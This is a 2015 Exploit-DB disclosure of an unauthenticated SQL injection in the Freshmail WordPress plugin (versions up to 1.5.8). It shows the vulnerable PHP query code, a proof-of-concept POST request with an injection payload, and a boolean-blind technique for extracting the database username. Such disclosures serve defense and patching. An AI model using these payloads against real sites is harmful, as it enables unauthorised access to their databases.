WordPress Plugin Freshmail 1.5.8 - SQL Injection

EDB-ID:

36930


Platform:

Multiple

Published:

2015-05-07

# Exploit Title: Unauthenticated SQL Injection on Wordpress Freshmail (#1)
# Google Dork: N/A
# Date: 05/05/2015
# Exploit Author: Felipe Molina de la Torre (@felmoltor)
# Vendor Homepage: *http://freshmail.com/ <http://freshmail.com/>
# Version: <= 1.5.8, Communicated and Fixed by the Vendor in 1.6
# Tested on: Linux 2.6, PHP 5.3 with magic_quotes_gpc turned off, Apache 2.4.0 (Ubuntu)
# CVE : N/A
# Category: webapps

1. Summary
------------------

Freshmail plugin is an email marketing plugin for wordpress, allowing the
administrator to create mail campaigns and keep track of them.

There is a unauthenticated SQL injection vulnerability in the "Subscribe to
our newsletter" formularies showed to the web visitors in the POST
parameter *fm_form_id. *

2. Vulnerability timeline
----------------------------------

- 04/05/2015: Identified in version 1.5.8 and contact the developer company
by twitter.
- 05/05/2015: Send the details by mail to developer.

- 05/05/2015: Response from the developer.
        - 06/05/2015: Fixed version in 1.6

3. Vulnerable code
---------------------------

Vulnerable File: include/wp_ajax_fm_form.php, lines 44 and 50

[...]
Line 28:  add_action('wp_ajax_fm_form', 'fm_form_ajax_func');
Line 29:  add_action('wp_ajax_nopriv_fm_form', 'fm_form_ajax_func');
[...]
Line 44: $result = $_POST;
[...]
Line 50: $form = $wpdb->get_row('select * from '.$wpdb->prefix.'fm_forms
where form_id="'.*$result['fm_form_id']*.'";');
[...]

3. Proof of concept
---------------------------

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: <web>
X-Requested-With: XMLHttpRequest
[...]
Cookie: wordpress_f30[...]

form%5Bemail%5D=fake@fake.com&form%5Bimie%5D=asdf&fm_form_id=1" and
"a"="a&action=fm_form&fm_form_referer=%2F

4. Explanation
---------------------

A page visitor can submit an email (fake@fake.com) to subscribe to the
formulary with fm_form_id="1" and the JSON message received will be simil=
ar
to:

{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s=
uccess","message":"*Your
sign up request was successful! Please check your email inbox.*"}

The second time he tries to do the same with the same email the message
returned will be:

{"form":{"email":"fake@fake.com","imie":"asdf"},"fm_form_id":"*1*
","action":"fm_form","fm_form_referer":"\/?p=86","redirect":0,"status":"s=
uccess","message":"*Given
email address is already subscribed, thank you!*"}

If we insert *1**" and substr(user(),1,1)="a *we'll receive either the sa=
me
message  indicating that the Given email is already subscribed indicating
that the first character of the username is an "a" or a null message
indicating that the username first character is not an "a".

5. Solution
---------------

Update to version 1.6